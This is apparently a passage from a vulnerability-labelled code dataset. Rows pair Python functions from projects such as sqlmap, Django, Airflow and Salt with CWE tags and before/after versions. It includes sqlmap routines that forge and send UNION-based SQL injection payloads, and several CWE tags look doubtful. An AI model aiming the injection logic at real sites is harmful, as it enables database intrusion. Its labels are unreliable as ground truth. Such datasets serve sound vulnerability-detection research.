            book1, book2 = list(books)

        with self.assertNumQueries(0):
            self.assertListEqual(book1.first_authors, [self.author11, self.author12])
            self.assertListEqual(book2.first_authors, [self.author21])

            self.assertListEqual(book1.first_authors[0].happy_place, [self.author1_address1])
            self.assertListEqual(book1.first_authors[1].happy_place, [])
            self.assertListEqual(book2.first_authors[0].happy_place, [self.author2_address1])"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/inband/union/test.py,0,"def __unionPosition(negative=False, falseCond=False):
    validPayload = None

    if negative or falseCond:
        negLogMsg = ""partial (single entry)""
    else:
        negLogMsg = ""full""

    infoMsg  = ""confirming %s inband sql injection on parameter "" % negLogMsg
    infoMsg += ""'%s'"" % kb.injParameter

    if negative:
        infoMsg += "" with negative parameter value""
    elif falseCond:
        infoMsg += "" by appending a false condition after the parameter value""

    logger.info(infoMsg)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for exprPosition in range(0, kb.unionCount):
        # Prepare expression with delimiters
        randQuery = randomStr()
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        # Forge the inband SQL injection request
        query   = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
        payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, content=True)

        if resultPage and randQuery in resultPage:
            setUnion(position=exprPosition)
            validPayload = payload

            break

    if isinstance(kb.unionPosition, int):
        infoMsg  = ""the target url is affected by an exploitable ""
        infoMsg += ""%s inband sql injection vulnerability "" % negLogMsg
        infoMsg += ""on parameter '%s'"" % kb.injParameter
        logger.info(infoMsg)
    else:
        warnMsg  = ""the target url is not affected by an exploitable ""
        warnMsg += ""%s inband sql injection vulnerability "" % negLogMsg
        warnMsg += ""on parameter '%s'"" % kb.injParameter

        if negLogMsg == ""partial"":
            warnMsg += "", sqlmap will retrieve the query output ""
            warnMsg += ""through blind sql injection technique""

        logger.warn(warnMsg)

    return validPayload",,sqlmapproject/sqlmap,0bfc1b411af99b87b2d5dc072ad4606bf5e8b30a,"def __unionPosition(negative=False, falseCond=False):
    validPayload = None

    if negative or falseCond:
        negLogMsg = ""partial (single entry)""
    else:
        negLogMsg = ""full""

    infoMsg  = ""confirming %s inband sql injection on parameter "" % negLogMsg
    infoMsg += ""'%s'"" % kb.injParameter

    if negative:
        infoMsg += "" with negative parameter value""
    elif falseCond:
        infoMsg += "" by appending a false condition after the parameter value""

    logger.info(infoMsg)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for exprPosition in range(0, kb.unionCount):
        # Prepare expression with delimiters
        randQuery = randomStr()
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        # Forge the inband SQL injection request
        query   = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
        payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, content=True)

        # We have to assure that the randQuery value is not within the
        # HTML code of the result page because, for instance, it is there
        # when the query is wrong and the back-end DBMS is Microsoft SQL
        # server
        htmlParsed = htmlParser(resultPage)

        if resultPage and randQuery in resultPage and not htmlParsed:
            setUnion(position=exprPosition)
            validPayload = payload

            break

    if isinstance(kb.unionPosition, int):
        infoMsg  = ""the target url is affected by an exploitable ""
        infoMsg += ""%s inband sql injection vulnerability "" % negLogMsg
        infoMsg += ""on parameter '%s'"" % kb.injParameter
        logger.info(infoMsg)
    else:
        warnMsg  = ""the target url is not affected by an exploitable ""
        warnMsg += ""%s inband sql injection vulnerability "" % negLogMsg
        warnMsg += ""on parameter '%s'"" % kb.injParameter

        if negLogMsg == ""partial"":
            warnMsg += "", sqlmap will retrieve the query output ""
            warnMsg += ""through blind sql injection technique""

        logger.warn(warnMsg)

    return validPayload"
,UNKNOWN,UNKNOWN,test/units/modules/network/nso/test_nso_verify.py,1,"def test_nso_verify_violation(self, open_url_mock):
        devices_schema = nso_module.load_fixture('devices_schema.json')
        device_schema = nso_module.load_fixture('device_schema.json')
        description_schema = nso_module.load_fixture('description_schema.json')

        calls = [
            MockResponse('login', {}, 200, '{}', {'set-cookie': 'id'}),
            MockResponse('get_system_setting', {'operation': 'version'}, 200, '{""result"": ""4.5.0""}'),
            MockResponse('get_module_prefix_map', {}, 200, '{""result"": {""tailf-ncs"": ""ncs""}}'),
            MockResponse('new_trans', {'mode': 'read'}, 200, '{""result"": {""th"": 1}}'),
            MockResponse('get_schema', {'path': '/ncs:devices'}, 200, '{""result"": %s}' % (json.dumps(devices_schema, ))),
            MockResponse('get_schema', {'path': '/ncs:devices/device'}, 200, '{""result"": %s}' % (json.dumps(device_schema, ))),
            MockResponse('exists', {'path': '/ncs:devices/device{ce0}'}, 200, '{""result"": {""exists"": true}}'),
            MockResponse('get_value', {'path': '/ncs:devices/device{ce0}/description'}, 200, '{""result"": {""value"": ""In Violation""}}'),
            MockResponse('get_schema', {'path': '/ncs:devices/device/description'}, 200, '{""result"": %s}' % (json.dumps(description_schema, ))),
            MockResponse('logout', {}, 200, '{""result"": {}}'),
        ]
        open_url_mock.side_effect = lambda *args, **kwargs: nso_module.mock_call(calls, *args, **kwargs)

        data = nso_module.load_fixture('verify_violation_data.json')
        nso_module.set_module_args({
            'username': 'user', 'password': 'password',
            'url': 'http://localhost:8080/jsonrpc', 'data': data
        })
        self.execute_module(failed=True, violations=[
            {'path': '/ncs:devices/device{ce0}/description', 'expected-value': 'Example Device', 'value': 'In Violation'},
        ])

        self.assertEqual(0, len(calls))",CWE-259,ansible/ansible,323e3b6914ef23116f89b42fb9e12454a08bda39,"def test_nso_verify_violation(self, open_url_mock):
        devices_schema = nso_module.load_fixture('devices_schema.json')
        device_schema = nso_module.load_fixture('device_schema.json')

        calls = [
            MockResponse('login', {}, 200, '{}', {'set-cookie': 'id'}),
            MockResponse('get_system_setting', {'operation': 'version'}, 200, '{""result"": ""4.5.0""}'),
            MockResponse('get_module_prefix_map', {}, 200, '{""result"": {""tailf-ncs"": ""ncs""}}'),
            MockResponse('new_trans', {'mode': 'read'}, 200, '{""result"": {""th"": 1}}'),
            MockResponse('get_schema', {'path': '/ncs:devices'}, 200, '{""result"": %s}' % (json.dumps(devices_schema, ))),
            MockResponse('get_schema', {'path': '/ncs:devices/device'}, 200, '{""result"": %s}' % (json.dumps(device_schema, ))),
            MockResponse('exists', {'path': '/ncs:devices/device{ce0}'}, 200, '{""result"": {""exists"": true}}'),
            MockResponse('get_value', {'path': '/ncs:devices/device{ce0}/description'}, 200, '{""result"": {""value"": ""In Violation""}}'),
            MockResponse('logout', {}, 200, '{""result"": {}}'),
        ]
        open_url_mock.side_effect = lambda *args, **kwargs: nso_module.mock_call(calls, *args, **kwargs)

        data = nso_module.load_fixture('verify_violation_data.json')
        nso_module.set_module_args({
            'username': 'user', 'password': 'password',
            'url': 'http://localhost:8080/jsonrpc', 'data': data
        })
        self.execute_module(failed=True, violations=[
            {'path': '/ncs:devices/device{ce0}/description', 'expected-value': 'Example Device', 'value': 'In Violation'},
        ])

        self.assertEqual(0, len(calls))"
,UNKNOWN,UNKNOWN,pkg/tests/download/test_pkg_download.py,1,"def setup_macos(root_url, minor_url, salt_release):

    repo_type = os.environ.get(""SALT_REPO_TYPE"", ""staging"")
    if packaging.version.parse(salt_release) > packaging.version.parse(""3005""):
        if repo_type == ""staging"" or repo_type == ""rc"":
            mac_pkg = f""salt-{salt_release}-py3-x86_64-unsigned.pkg""
        else:
            mac_pkg = f""salt-{salt_release}-py3-x86_64.pkg""
        mac_pkg_url = f""{root_url}/macos/{minor_url}{salt_release}/{mac_pkg}""
    else:
        mac_pkg_url = f""{root_url}/macos/{salt_release}/{mac_pkg}""
        mac_pkg = f""salt-{salt_release}-macos-x86_64.pkg""

    mac_pkg_path = f""/tmp/{mac_pkg}""

    # We should be able to issue a --help without being root
    ret = subprocess.run(
        [""curl"", ""-fsSL"", ""-o"", f""/tmp/{mac_pkg}"", f""{mac_pkg_url}""],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    assert ret.returncode == 0

    ret = subprocess.run(
        [""installer"", ""-pkg"", mac_pkg_path, ""-target"", ""/""],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    assert ret.returncode == 0

    yield",CWE-703,saltstack/salt,65982fe46885cce8073e6b6286c7c7098cb5f271,"def setup_macos(root_url, minor_url, salt_release):

    repo_type = os.environ.get(""SALT_REPO_TYPE"", ""staging"")
    if packaging.version.parse(salt_release) > packaging.version.parse(""3005""):
        if repo_type == ""staging"" or repo_type == ""rc"":
            mac_pkg = f""salt-{salt_release}-macos-x86_64.pkg""
        else:
            f""salt-{salt_release}-py3-x86_64.pkg""
        mac_pkg_url = f""{root_url}/macos/{minor_url}{salt_release}/{mac_pkg}""
    else:
        mac_pkg_url = f""{root_url}/macos/{salt_release}/{mac_pkg}""
        mac_pkg = f""salt-{salt_release}-macos-x86_64.pkg""

    mac_pkg_path = f""/tmp/{mac_pkg}""

    # We should be able to issue a --help without being root
    ret = subprocess.run(
        [""curl"", ""-fsSL"", ""-o"", f""/tmp/{mac_pkg}"", f""{mac_pkg_url}""],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    assert ret.returncode == 0

    ret = subprocess.run(
        [""installer"", ""-pkg"", mac_pkg_path, ""-target"", ""/""],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    assert ret.returncode == 0

    yield"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,examples/flaskr/flaskr.py,0,"def connect_db():
    """"""Connects to the specific database.""""""
    rv = sqlite3.connect(app.config['DATABASE'])
    rv.row_factory = sqlite3.Row
    return rv",,pallets/flask,d2d8e66130f8aabf8e0e4b80a42352f8ef93c347,"def connect_db():
    """"""Connects to the specific database.""""""
    rv = sqlite3.connect(app.config['DATABASE'])
    rv.row_factory = sqlite3.Row
    return rv"
,UNKNOWN,UNKNOWN,tests/cli/commands/remote_commands/test_dag_command.py,1,"def test_trigger_dag(self):
        dag_command.dag_trigger(
            self.parser.parse_args(
                [
                    ""dags"",
                    ""trigger"",
                    ""example_bash_operator"",
                    ""--run-id=test_trigger_dag"",
                    '--conf={""foo"": ""bar""}',
                ],
            ),
        )
        with create_session() as session:
            dagrun = session.query(DagRun).filter(DagRun.run_id == ""test_trigger_dag"").one()

        assert dagrun, ""DagRun not created""
        assert dagrun.run_type == DagRunType.MANUAL
        assert dagrun.external_trigger
        assert dagrun.conf == {""foo"": ""bar""}

        # logical_date is None as it's not provided
        assert dagrun.logical_date is None

        # data_interval is None as logical_date is None
        assert dagrun.data_interval_start is None
        assert dagrun.data_interval_end is None",CWE-703,apache/airflow,f50f1cea452630ad1abac98b0a409ff0465147a9,"def test_trigger_dag(self):
        dag_command.dag_trigger(
            self.parser.parse_args(
                [
                    ""dags"",
                    ""trigger"",
                    ""example_bash_operator"",
                    ""--run-id=test_trigger_dag"",
                    ""--exec-date=2021-06-04T09:00:00+08:00"",
                    '--conf={""foo"": ""bar""}',
                ],
            ),
        )
        with create_session() as session:
            dagrun = session.query(DagRun).filter(DagRun.run_id == ""test_trigger_dag"").one()

        assert dagrun, ""DagRun not created""
        assert dagrun.run_type == DagRunType.MANUAL
        assert dagrun.external_trigger
        assert dagrun.conf == {""foo"": ""bar""}

        # Coerced to UTC.
        assert dagrun.logical_date.isoformat(timespec=""seconds"") == ""2021-06-04T01:00:00+00:00""

        # example_bash_operator runs every day at midnight, so the data interval
        # should be aligned to the previous day.
        assert dagrun.data_interval_start.isoformat(timespec=""seconds"") == ""2021-06-03T00:00:00+00:00""
        assert dagrun.data_interval_end.isoformat(timespec=""seconds"") == ""2021-06-04T00:00:00+00:00"""
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_scripts(entry_points=False):
    """"""Find IPython's scripts.
    
    if entry_points is True:
        return setuptools entry_point-style definitions
    else:
        return file paths of plain scripts [default]
    """"""
    if entry_points:
        console_scripts = [
            'ipython = IPython.frontend.terminal.ipapp:launch_new_instance',
            'ipython-notebook = IPython.frontend.html.notebook.notebook:main',
            'pycolor = IPython.utils.PyColorize:main',
            'ipcontroller = IPython.parallel.apps.ipcontrollerapp:launch_new_instance',
            'ipengine = IPython.parallel.apps.ipengineapp:launch_new_instance',
            'iplogger = IPython.parallel.apps.iploggerapp:launch_new_instance',
            'ipcluster = IPython.parallel.apps.ipclusterapp:launch_new_instance',
            'iptest = IPython.testing.iptest:main',
            'irunner = IPython.lib.irunner:main'
        ]
        gui_scripts = [
            'ipython-qtconsole = IPython.frontend.qt.console.qtconsoleapp:main',
        ]
        scripts = dict(console_scripts=console_scripts, gui_scripts=gui_scripts)
    else:
        parallel_scripts = pjoin('IPython','parallel','scripts')
        main_scripts = pjoin('IPython','scripts')
        scripts = [
                   pjoin(parallel_scripts, 'ipengine'),
                   pjoin(parallel_scripts, 'ipcontroller'),
                   pjoin(parallel_scripts, 'ipcluster'),
                   pjoin(parallel_scripts, 'iplogger'),
                   pjoin(main_scripts, 'ipython'),
                   pjoin(main_scripts, 'ipython-notebook'),
                   pjoin(main_scripts, 'pycolor'),
                   pjoin(main_scripts, 'irunner'),
                   pjoin(main_scripts, 'iptest')
        ]
    return scripts",,jupyter/notebook,6e36522cdf13d2a70c4cf54175f3f47d35b7806c,"def find_scripts(entry_points=False):
    """"""Find IPython's scripts.
    
    if entry_points is True:
        return setuptools entry_point-style definitions
    else:
        return file paths of plain scripts [default]
    """"""
    if entry_points:
        console_scripts = [
            'ipython = IPython.frontend.terminal.ipapp:launch_new_instance',
            'pycolor = IPython.utils.PyColorize:main',
            'ipcontroller = IPython.parallel.apps.ipcontrollerapp:launch_new_instance',
            'ipengine = IPython.parallel.apps.ipengineapp:launch_new_instance',
            'iplogger = IPython.parallel.apps.iploggerapp:launch_new_instance',
            'ipcluster = IPython.parallel.apps.ipclusterapp:launch_new_instance',
            'iptest = IPython.testing.iptest:main',
            'irunner = IPython.lib.irunner:main'
        ]
        gui_scripts = [
            'ipython-qtconsole = IPython.frontend.qt.console.qtconsoleapp:main',
        ]
        scripts = dict(console_scripts=console_scripts, gui_scripts=gui_scripts)
    else:
        parallel_scripts = pjoin('IPython','parallel','scripts')
        main_scripts = pjoin('IPython','scripts')
        scripts = [
                   pjoin(parallel_scripts, 'ipengine'),
                   pjoin(parallel_scripts, 'ipcontroller'),
                   pjoin(parallel_scripts, 'ipcluster'),
                   pjoin(parallel_scripts, 'iplogger'),
                   pjoin(main_scripts, 'ipython'),
                   pjoin(main_scripts, 'pycolor'),
                   pjoin(main_scripts, 'irunner'),
                   pjoin(main_scripts, 'iptest')
        ]
    return scripts"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/backends/mysql/creation.py,0,"def sql_for_inline_many_to_many_references(self, model, field, style):
        from django.db import models
        opts = model._meta
        qn = self.connection.ops.quote_name

        table_output = [
            '    %s %s %s,' %
                (style.SQL_FIELD(qn(field.m2m_column_name())),
                style.SQL_COLTYPE(models.ForeignKey(model).db_type(connection=self.connection)),
                style.SQL_KEYWORD('NOT NULL')),
            '    %s %s %s,' %
            (style.SQL_FIELD(qn(field.m2m_reverse_name())),
            style.SQL_COLTYPE(models.ForeignKey(field.rel.to).db_type(connection=self.connection)),
            style.SQL_KEYWORD('NOT NULL'))
        ]
        deferred = [
            (field.m2m_db_table(), field.m2m_column_name(), opts.db_table,
                opts.pk.column),
            (field.m2m_db_table(), field.m2m_reverse_name(),
                field.rel.to._meta.db_table, field.rel.to._meta.pk.column)
            ]
        return table_output, deferred",CWE-Unknown,django/django,c7af1de191b1b86708b7c14bbf7adc4eb3a13310,"def sql_for_inline_many_to_many_references(self, model, field, style):
        from django.db import models
        opts = model._meta
        qn = self.connection.ops.quote_name

        table_output = [
            '    %s %s %s,' %
                (style.SQL_FIELD(qn(field.m2m_column_name())),
                style.SQL_COLTYPE(models.ForeignKey(model).db_type(self.connection)),
                style.SQL_KEYWORD('NOT NULL')),
            '    %s %s %s,' %
            (style.SQL_FIELD(qn(field.m2m_reverse_name())),
            style.SQL_COLTYPE(models.ForeignKey(field.rel.to).db_type(self.connection)),
            style.SQL_KEYWORD('NOT NULL'))
        ]
        deferred = [
            (field.m2m_db_table(), field.m2m_column_name(), opts.db_table,
                opts.pk.column),
            (field.m2m_db_table(), field.m2m_reverse_name(),
                field.rel.to._meta.db_table, field.rel.to._meta.pk.column)
            ]
        return table_output, deferred"
,UNKNOWN,UNKNOWN,django/db/backends/mysql/creation.py,1,"def _execute_create_test_db(self, cursor, parameters, keepdb=False):
        try:
            if keepdb:
                # If the database should be kept, add ""IF NOT EXISTS"" to avoid
                # ""database exists"" error, also temporarily disable ""database
                # exists"" warning.
                cursor.execute('''
                    SET @_tmp_sql_notes := @@sql_notes, sql_notes = 0;
                    CREATE DATABASE IF NOT EXISTS %(dbname)s %(suffix)s;
                    SET sql_notes = @_tmp_sql_notes;
                ''' % parameters)
            else:
                super()._execute_create_test_db(cursor, parameters, keepdb)
        except Exception as e:
            if len(e.args) < 1 or e.args[0] != 1007:
                # All errors except ""database exists"" (1007) cancel tests.
                self.log('Got an error creating the test database: %s' % e)
                sys.exit(2)
            else:
                raise e",CWE-89,django/django,65503ca09798bffbe8226c3a8a7953906042b2ee,"def _execute_create_test_db(self, cursor, parameters, keepdb=False):
        try:
            if keepdb:
                # If the database should be kept, add ""IF NOT EXISTS"" to avoid
                # ""database exists"" error, also temporarily disable ""database
                # exists"" warning.
                cursor.execute('''
                    SET @_tmp_sql_notes := @@sql_notes, sql_notes = 0;
                    CREATE DATABASE IF NOT EXISTS %(dbname)s %(suffix)s;
                    SET sql_notes = @_tmp_sql_notes;
                ''' % parameters)
            else:
                super()._execute_create_test_db(cursor, parameters, keepdb)
        except Exception as e:
            if len(e.args) < 1 or e.args[0] != 1007:
                # All errors except ""database exists"" (1007) cancel tests.
                sys.stderr.write('Got an error creating the test database: %s\n' % e)
                sys.exit(2)
            else:
                raise e"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/contenttypes/views.py,0,"def shortcut(request, content_type_id, object_id):
    """"""
    Redirect to an object's page based on a content-type ID and an object ID.
    """"""
    # Look up the object, making sure it's got a get_absolute_url() function.
    try:
        content_type = ContentType.objects.get(pk=content_type_id)
        if not content_type.model_class():
            raise http.Http404(_(""Content type %(ct_id)s object has no associated model"") %
                               {'ct_id': content_type_id})
        obj = content_type.get_object_for_this_type(pk=object_id)
    except (ObjectDoesNotExist, ValueError):
        raise http.Http404(_(""Content type %(ct_id)s object %(obj_id)s doesn't exist"") %
                           {'ct_id': content_type_id, 'obj_id': object_id})

    try:
        get_absolute_url = obj.get_absolute_url
    except AttributeError:
        raise http.Http404(_(""%(ct_name)s objects don't have a get_absolute_url() method"") %
                           {'ct_name': content_type.name})
    absurl = get_absolute_url()

    # Try to figure out the object's domain, so we can do a cross-site redirect
    # if necessary.

    # If the object actually defines a domain, we're done.
    if absurl.startswith(('http://', 'https://', '//')):
        return http.HttpResponseRedirect(absurl)

    # Otherwise, we need to introspect the object's relationships for a
    # relation to the Site object
    object_domain = None

    if apps.is_installed('django.contrib.sites'):
        Site = apps.get_model('sites.Site')

        opts = obj._meta

        # First, look for an many-to-many relationship to Site.
        for field in opts.many_to_many:
            if field.rel.to is Site:
                try:
                    # Caveat: In the case of multiple related Sites, this just
                    # selects the *first* one, which is arbitrary.
                    object_domain = getattr(obj, field.name).all()[0].domain
                except IndexError:
                    pass
                if object_domain is not None:
                    break

        # Next, look for a many-to-one relationship to Site.
        if object_domain is None:
            for field in obj._meta.fields:
                if field.rel and field.rel.to is Site:
                    try:
                        object_domain = getattr(obj, field.name).domain
                    except Site.DoesNotExist:
                        pass
                    if object_domain is not None:
                        break

        # Fall back to the current site (if possible).
        if object_domain is None:
            try:
                object_domain = Site.objects.get_current(request).domain
            except Site.DoesNotExist:
                pass

    else:
        # Fall back to the current request's site.
        object_domain = RequestSite(request).domain

    # If all that malarkey found an object domain, use it. Otherwise, fall back
    # to whatever get_absolute_url() returned.
    if object_domain is not None:
        protocol = request.scheme
        return http.HttpResponseRedirect('%s://%s%s'
                                         % (protocol, object_domain, absurl))
    else:
        return http.HttpResponseRedirect(absurl)",CWE-Unknown,django/django,32c7d3c061b83e9206ef2bf13fbc302a1998f317,"def shortcut(request, content_type_id, object_id):
    """"""
    Redirect to an object's page based on a content-type ID and an object ID.
    """"""
    # Look up the object, making sure it's got a get_absolute_url() function.
    try:
        content_type = ContentType.objects.get(pk=content_type_id)
        if not content_type.model_class():
            raise http.Http404(_(""Content type %(ct_id)s object has no associated model"") %
                               {'ct_id': content_type_id})
        obj = content_type.get_object_for_this_type(pk=object_id)
    except (ObjectDoesNotExist, ValueError):
        raise http.Http404(_(""Content type %(ct_id)s object %(obj_id)s doesn't exist"") %
                           {'ct_id': content_type_id, 'obj_id': object_id})

    try:
        get_absolute_url = obj.get_absolute_url
    except AttributeError:
        raise http.Http404(_(""%(ct_name)s objects don't have a get_absolute_url() method"") %
                           {'ct_name': content_type.name})
    absurl = get_absolute_url()

    # Try to figure out the object's domain, so we can do a cross-site redirect
    # if necessary.

    # If the object actually defines a domain, we're done.
    if absurl.startswith(('http://', 'https://', '//')):
        return http.HttpResponseRedirect(absurl)

    # Otherwise, we need to introspect the object's relationships for a
    # relation to the Site object
    object_domain = None

    if apps.is_installed('django.contrib.sites'):
        Site = apps.get_model('sites.Site')

        opts = obj._meta

        # First, look for an many-to-many relationship to Site.
        for field in opts.many_to_many:
            if field.rel.to is Site:
                try:
                    # Caveat: In the case of multiple related Sites, this just
                    # selects the *first* one, which is arbitrary.
                    object_domain = getattr(obj, field.name).all()[0].domain
                except IndexError:
                    pass
                if object_domain is not None:
                    break

        # Next, look for a many-to-one relationship to Site.
        if object_domain is None:
            for field in obj._meta.fields:
                if field.rel and field.rel.to is Site:
                    try:
                        object_domain = getattr(obj, field.name).domain
                    except Site.DoesNotExist:
                        pass
                    if object_domain is not None:
                        break

        # Fall back to the current site (if possible).
        if object_domain is None:
            try:
                object_domain = Site.objects.get_current().domain
            except Site.DoesNotExist:
                pass

    else:
        # Fall back to the current request's site.
        object_domain = RequestSite(request).domain

    # If all that malarkey found an object domain, use it. Otherwise, fall back
    # to whatever get_absolute_url() returned.
    if object_domain is not None:
        protocol = request.scheme
        return http.HttpResponseRedirect('%s://%s%s'
                                         % (protocol, object_domain, absurl))
    else:
        return http.HttpResponseRedirect(absurl)"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/test_pkg.py,1,"def test_pkg_cap_003_installed_multipkg_with_version(
    PKG_CAP_TARGETS,
    PKG_TARGETS,
    latest_version,
    modules,
    states,
    grains,
):
    """"""
    This is a destructive test as it installs and then removes two packages
    """"""
    target, realpkg = PKG_CAP_TARGETS[0]
    version = modules.pkg.version(target)
    realver = modules.pkg.version(realpkg)

    # If this condition is False, we need to find new targets.
    # This needs to be able to test successful installation of packages.
    # These packages need to not be installed before we run the states below
    if not (version and realver):
        pytest.skip(""TODO: New pkg cap targets required"")

    cleanup_pkgs = PKG_TARGETS
    try:
        pkgs = [
            {PKG_TARGETS[0]: version},
            PKG_TARGETS[1],
            {target: realver},
        ]
        ret = states.pkg.installed(
            name=""test_pkg_cap_003_installed_multipkg_with_version-install"",
            pkgs=pkgs,
            refresh=False,
        )
        assert ret.result is False

        ret = states.pkg.installed(
            name=""test_pkg_cap_003_installed_multipkg_with_version-install-capability"",
            pkgs=pkgs,
            refresh=False,
            resolve_capabilities=True,
            test=True,
        )
        assert ""packages would be installed/updated"" in ret.comment
        assert f""{realpkg}={realver}"" in ret.comment

        ret = states.pkg.installed(
            name=""test_pkg_cap_003_installed_multipkg_with_version-install-capability"",
            pkgs=pkgs,
            refresh=False,
            resolve_capabilities=True,
        )
        assert ret.result is True
        cleanup_pkgs.append(realpkg)
    finally:
        ret = states.pkg.removed(
            name=""test_pkg_cap_003_installed_multipkg_with_version-remove"",
            pkgs=cleanup_pkgs,
        )
        assert ret.result is True",CWE-703,saltstack/salt,3888de3374b3412e4adc3f2d104c3110bdbb0585,"def test_pkg_cap_003_installed_multipkg_with_version(
    PKG_CAP_TARGETS,
    PKG_TARGETS,
    latest_version,
    modules,
    states,
    grains,
):
    """"""
    This is a destructive test as it installs and then removes two packages
    """"""
    target, realpkg = PKG_CAP_TARGETS[0]
    version = latest_version(target)
    realver = latest_version(realpkg)

    # If this condition is False, we need to find new targets.
    # This needs to be able to test successful installation of packages.
    # These packages need to not be installed before we run the states below
    if not (version and realver):
        pytest.skip(""TODO: New pkg cap targets required"")

    cleanup_pkgs = PKG_TARGETS
    try:
        pkgs = [
            {PKG_TARGETS[0]: version},
            PKG_TARGETS[1],
            {target: realver},
        ]
        ret = states.pkg.installed(
            name=""test_pkg_cap_003_installed_multipkg_with_version-install"",
            pkgs=pkgs,
            refresh=False,
        )
        assert ret.result is False

        ret = states.pkg.installed(
            name=""test_pkg_cap_003_installed_multipkg_with_version-install-capability"",
            pkgs=pkgs,
            refresh=False,
            resolve_capabilities=True,
            test=True,
        )
        assert ""packages would be installed/updated"" in ret.comment
        assert f""{realpkg}={realver}"" in ret.comment

        ret = states.pkg.installed(
            name=""test_pkg_cap_003_installed_multipkg_with_version-install-capability"",
            pkgs=pkgs,
            refresh=False,
            resolve_capabilities=True,
        )
        assert ret.result is True
        cleanup_pkgs.append(realpkg)
    finally:
        ret = states.pkg.removed(
            name=""test_pkg_cap_003_installed_multipkg_with_version-remove"",
            pkgs=cleanup_pkgs,
        )
        assert ret.result is True"
,UNKNOWN,UNKNOWN,tests/providers/telegram/operators/test_telegram.py,1,"def test_should_return_template_fields(self):
        hook = TelegramOperator(
            telegram_conn_id='telegram_default',
            chat_id='-420913222',
            task_id='telegram',
            text=""some non empty text - higher precedence"",
            telegram_kwargs={""custom_arg"": ""value"", ""text"": ""some text, that will be ignored""},
        )
        assert ('text', 'chat_id') == hook.template_fields",CWE-703,apache/airflow,106d2c85ec4a240605830bf41962c0197b003135,"def test_should_return_template_fields(self):
        hook = TelegramOperator(
            telegram_conn_id='telegram_default',
            chat_id='-420913222',
            task_id='telegram',
            text=""some non empty text - higher precedence"",
            telegram_kwargs={""custom_arg"": ""value"", ""text"": ""some text, that will be ignored""},
        )
        assert ('text', 'chat_id') == hook.template_fields"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/db2/fingerprint.py,0,"def getFingerprint(self):
        value = """"
        wsOsFp = Format.getOs(""web server"", kb.headersFp)

        if wsOsFp:
            value += ""%s\n"" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs(""back-end DBMS"", kb.bannerFp)

            if dbmsOsFp:
                value += ""%s\n"" % dbmsOsFp

        value += ""back-end DBMS: ""

        if not conf.extensiveFp:
            value += DBMS.DB2
            return value

        actVer = Format.getDbms()
        blank = "" "" * 15
        value += ""active fingerprint: %s"" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp.get(""dbmsVersion"")
            banVer = Format.getDbms([banVer])
            value += ""\n%sbanner parsing fingerprint: %s"" % (blank, banVer)

        htmlErrorFp = Format.getErrorParsedDBMSes()

        if htmlErrorFp:
            value += ""\n%shtml error message fingerprint: %s"" % (blank, htmlErrorFp)

        return value",,sqlmapproject/sqlmap,d6cf038e48846681b8b533c22cc25885069ee343,"def getFingerprint(self):
        value = """"
        wsOsFp = Format.getOs(""web server"", kb.headersFp)

        if wsOsFp:
            value += ""%s\n"" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs(""back-end DBMS"", kb.bannerFp)

            if dbmsOsFp:
                value += ""%s\n"" % dbmsOsFp

        value += ""back-end DBMS: ""

        if not conf.extensiveFp:
            value += DBMS.DB2
            return value

        actVer = Format.getDbms()
        blank = "" "" * 15
        value += ""active fingerprint: %s"" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp[""dbmsVersion""] if 'dbmsVersion' in kb.bannerFp else None
            banVer = Format.getDbms([banVer])
            value += ""\n%sbanner parsing fingerprint: %s"" % (blank, banVer)

        htmlErrorFp = Format.getErrorParsedDBMSes()

        if htmlErrorFp:
            value += ""\n%shtml error message fingerprint: %s"" % (blank, htmlErrorFp)

        return value"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpserver_test.py,0,"def post(self):
        self.write(recursive_unicode(self.request.arguments))",CWE-Unknown,tornadoweb/tornado,210312c4aed28c91febbfd73f9c4d2cbba8c6d59,"def post(self):
        self.write(recursive_unicode(self.request.arguments))"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_assets.py,0,"def _create_dag_run(session, num: int = 2):
    dag_runs = [
        DagRun(
            dag_id=""source_dag_id"",
            run_id=f""source_run_id_{i}"",
            run_type=DagRunType.MANUAL,
            logical_date=DEFAULT_DATE + timedelta(days=i - 1),
            start_date=DEFAULT_DATE,
            data_interval=(DEFAULT_DATE, DEFAULT_DATE),
            state=DagRunState.SUCCESS,
        )
        for i in range(1, 1 + num)
    ]
    for dag_run in dag_runs:
        dag_run.end_date = DEFAULT_DATE
    session.add_all(dag_runs)
    session.commit()",CWE-Unknown,apache/airflow,811fa2b016ca613061e5d4d32fee005e53c1bf1d,"def _create_dag_run(session, num: int = 2):
    dag_runs = [
        DagRun(
            dag_id=""source_dag_id"",
            run_id=f""source_run_id_{i}"",
